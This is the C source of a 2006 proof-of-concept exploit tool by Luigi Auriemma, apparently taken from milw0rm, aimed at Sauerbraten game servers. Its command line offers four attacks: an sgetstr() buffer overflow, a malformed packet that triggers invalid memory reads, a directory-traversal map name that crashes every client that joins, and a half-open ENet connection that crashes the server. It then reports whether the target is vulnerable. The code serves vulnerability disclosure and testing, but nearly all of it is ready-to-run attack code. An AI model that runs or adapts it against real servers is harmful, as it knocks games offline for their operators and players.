/* by Luigi Auriemma You NEED Enet for compiling this tool (then remember -lenet) http://enet.bespin.org / http://enet.cubik.org */ #include #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #define MYRAND clock() #else #include #include #include #include #include #include #include #define ONESEC 1 #define MYRAND times(0) #endif #define VER "0.1" #define PORT 28785 #define MAXTRANS 5000 #define BOFSZ (MAXTRANS + 256) #define MAPSUX "base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../readme.txt" enum { SV_INITS2C = 0, SV_INITC2S, SV_POS, SV_TEXT, SV_SOUND, SV_CDIS, SV_DIED, SV_DAMAGE, SV_SHOT, SV_FRAGS, SV_MAPCHANGE, SV_ITEMSPAWN, SV_ITEMPICKUP, SV_DENIED, SV_PING, SV_PONG, SV_CLIENTPING, SV_GAMEMODE, SV_TIMEUP, SV_MAPRELOAD, SV_ITEMACC, SV_SERVMSG, SV_ITEMLIST, SV_RESUME, SV_EDITENT, SV_EDITH, SV_EDITF, SV_EDITT, SV_EDITM, SV_FLIP, SV_ROTATE, SV_MASTERMODE, SV_KICK, SV_CURRENTMASTER, }; void putint(u_char *p, int n, u_char **out) { if(n<128 && n>-127) { *p++ = n; } else if(n<0x8000 && n>=-0x8000) { *p++ = 0x80; *p++ = n; *p++ = n>>8; } else { *p++ = 0x81; *p++ = n; *p++ = n>>8; *p++ = n>>16; *p++ = n>>24; }; *out = p; }; int getint(u_char *p, u_char **out) { int c = *((char *)p); p++; if(c==-128) { int n = *p++; n |= *((char *)p)<<8; p++; *out = p; return n;} else if(c==-127) { int n = *p++; n |= *p++<<8; n |= *p++<<16; *out = p; return n|(*p++<<24); } else { *out = p; return c; } }; void sendstring(char *t, u_char *p, u_char **out) { while(*t) putint(p, *t++, &p); putint(p, 0, &p); *out = p; }; int build_enet_connect_boom(u_char *buff); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err); int timeout(int sock); void std_err(void); struct sockaddr_in peers; int main(int argc, char *argv[]) { ENetAddress address; ENetEvent event; ENetPeer *peer; ENetHost *client; ENetPacket *packet; int len, i, attack; u_short port = PORT; u_char buff[8192], mybof[BOFSZ], *p; setbuf(stdout, NULL); fputs("\n" "Sauerbraten <= 2006_02_28 multiple vulnerabilities "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Attack:\n" "1 = sgetstr() buffer-overflow\n" "2 = invalid memory access during data reading (getint and sgetstr)\n" "3 = crash of any client which will join the server through malformed map\n" " loaded with directory traversal vulnerability and 260 bytes limit\n" "4 = crash due to unconnected client\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(enet_initialize()) { printf("\nError: an error occurred while initializing ENet\n"); exit(1); } client = enet_host_create( NULL /* create a client host */, 1 /* only allow 1 outgoing connection */, 57600 / 8 /* 56K modem with 56 Kbps downstream bandwidth */, 14400 / 8 /* 56K modem with 14 Kbps upstream bandwidth */); if(!client) { printf("An error occurred while trying to create an ENet client host.\n"); exit(1); } if(argc > 3) port = atoi(argv[3]); if(enet_address_set_host(&address, argv[2]) < 0) { address.host = inet_addr(argv[2]); } address.port = port; peers.sin_addr.s_addr = address.host; peers.sin_port = htons(address.port); peers.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(*(struct in_addr *)&address.host), address.port); peer = enet_host_connect(client, &address, 2); if(!peer) { printf("\nError: no peers available for initiating an ENet connection\n"); exit(1); } if(attack == 4) { printf("- send Enet connect packet without continuing the connection\n"); len = build_enet_connect_boom(buff); len = send_recv(client->socket, buff, len, buff, sizeof(buff), 1); printf("- the server should crash within one minute\n"); for(i = 50; i; i--) { printf("%3d\b\b\b", i); sleep(ONESEC); } goto check; } printf("- connect..."); if((enet_host_service(client, &event, 5000) > 0) && (event.type == ENET_EVENT_TYPE_CONNECT)) { printf("ok\n"); } else { printf("failed!\n"); goto quit; } p = buff; if(attack == 1) { printf( "- send buffer-overflow data (%d bytes)\n" " note: if the server doesn't crash quickly retry again some times,\n" " unfortunately don't know why this happens sometimes\n", BOFSZ); putint(p, SV_TEXT, &p); memset(mybof, 'A', sizeof(mybof) - 1); mybof[sizeof(mybof) - 1] = 0; sendstring(mybof, p, &p); } else if(attack == 2) { printf("- send incomplete data\n"); putint(p, SV_INITC2S, &p); // no sendstring and putint so the server // will crash due to invalid memory access } else if(attack == 3) { printf("- send bad map\n"); putint(p, SV_MAPCHANGE, &p); sendstring(MAPSUX, p, &p); putint(p, 0, &p); } packet = enet_packet_create( buff, p - buff, ENET_PACKET_FLAG_RELIABLE); enet_peer_send(peer, 0, packet); enet_host_flush(client); if((enet_host_service(client, &event, 3000) > 0) &&(event.type == ENET_EVENT_TYPE_RECEIVE)) { enet_packet_destroy(event.packet); } enet_peer_disconnect(peer); if(attack == 3) { printf( "- if the server was empty the map has been accepted\n" " any client which will join the server will exit immediately\n"); goto quit; } check: printf("- check server:\n"); if(enet_host_service(client, &event, 5000) > 0) { printf("\n Server does not seem vulnerable\n\n"); } else { printf("\n Server IS vulnerable!!!\n\n"); } enet_peer_disconnect(peer); quit: enet_peer_reset(peer); enet_deinitialize(); return(0); } int build_enet_connect_boom(u_char *buff) { ENetProtocolHeader *header; ENetProtocol *command; u_int chall, stime; header = (ENetProtocolHeader *)buff; command = (ENetProtocol *)(buff + sizeof(ENetProtocolHeader)); stime = MYRAND; chall = ~stime; header->peerID = htons(0xffff); header->flags = 0; header->commandCount = 1; header->sentTime = stime; header->challenge = chall; command->header.command = ENET_PROTOCOL_COMMAND_CONNECT; command->header.channelID = 0xff; command->header.flags = ENET_PROTOCOL_FLAG_ACKNOWLEDGE; command->header.reserved = 0; command->header.commandLength = htonl(sizeof(ENetProtocolConnect)); command->header.reliableSequenceNumber = htonl(1); command->connect.outgoingPeerID = htons(0); command->connect.mtu = htons(1400); command->connect.windowSize = htonl(32768); command->connect.channelCount = htonl(ENET_PROTOCOL_MAXIMUM_CHANNEL_COUNT); command->connect.incomingBandwidth = htonl(0); command->connect.outgoingBandwidth = htonl(0); command->connect.packetThrottleInterval = htonl(5000); command->connect.packetThrottleAcceleration = htonl(2); command->connect.packetThrottleDeceleration = htonl(2); return(sizeof(ENetProtocolCommandHeader) + sizeof(ENetProtocolConnect)); } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) { int retry, len; for(retry = 3; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peers, sizeof(peers)) < 0) std_err(); if(!timeout(sd)) break; } if(!retry) { if(!err) return(-1); fputs("\nError: socket timeout, no reply received\n\n", stdout); exit(1); } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); return(len); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = 1; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2006-03-06]